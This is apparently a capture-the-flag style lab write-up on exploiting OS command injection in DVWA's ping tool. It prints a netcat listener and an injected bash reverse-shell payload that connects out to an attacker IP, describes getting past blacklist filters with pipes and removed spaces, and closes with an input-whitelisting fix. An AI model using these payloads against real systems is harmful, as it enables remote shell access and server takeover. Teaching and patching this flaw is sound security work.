EXPLOITING COMMAND INJECTION(From Easy to Bypassing Filters)

⚠️ Lab Setup : Everything below was done in a controlled local lab using DVWA (Damn Vulnerable Web Application) for practice and educational write-ups. These techniques model real-world OS command injection flaws, but no actual production systems were targeted.

TARGET : NETWORK DIAGNOSTIC PORTAL (PING SYSTEM)

What is Command Injection?

Commands injection happens when an application asks you for basic input(like an IP address to ping) but takes whatever you type and hands it straight to the underlying Linux/Windows Command line and it gets executed. If the developer doesn't strip out special characters like ; | or && , the system doesn't just ping the IP, it executes whatever extra commands you append to it.

Here is how we break it down step-by-step, bypass the developer's security filters, and spawn a full Reverse Shell.

Level 1: Zero Filtering (Direct RCE)

The apps takes whatever you type in the box and drops it directly into a system ping call without checking a single character.

Breaking it :

Because there are no checks, we can use a semicolon ; or an ampersand && to chain a second command onto the end of the ping

Getting a reverse shell We set up a netcat listener on our attacker machine with the command

nc -lnv 1212

nc -lnv 1212

drop the payload

192.168.56.1 && /bin/bash -c 'bash -i>& /dev/tcp/192.168.56.1/1212 0>&1'

192.168.56.1 && /bin/bash -c 'bash -i>& /dev/tcp/192.168.56.1/1212 0>&1'

LEVEL 2: Bypassing Weak Blacklists

The developer realised people were using ; and && to chain commands, so they work a quick PHP script using str_replace() to strip out ; and && The problem is that they completely forgot about the | which is the pipe command In Linux, a pipe passes the output of the first command into the next, but it still executes out secondary payload

we run a quick test to check if the pipe command works on the web application

Getting a Reverse shell

we use the same method as is in level one but the pipe command instead set up a listener on attack machine with the command

nc -lnv 1212

nc -lnv 1212

LEVEL 3 Bypassing strict Filters

The developers wrote a pattern filter to catch spaces and command strings and also blacklisted more characters including the | which is the pipe command recently used This fails because the app still relies on backlisting strings instead of checking if the input is actually a valid IP address we could just remove the space and use the pipe command and linux still executes the secondary command

The Secure Fix (How to Actually Patch This)

Stop using blacklists. Trying to guess every malicious character an attacker might type is a losing battle. Instead, use Input Whitelisting. Force the application to verify that the user input is strictly a valid IPv4 address before sending it anywhere near a system shell.

Thank you for reading this and I hope this helps people understand how command Injection works and how to fix it.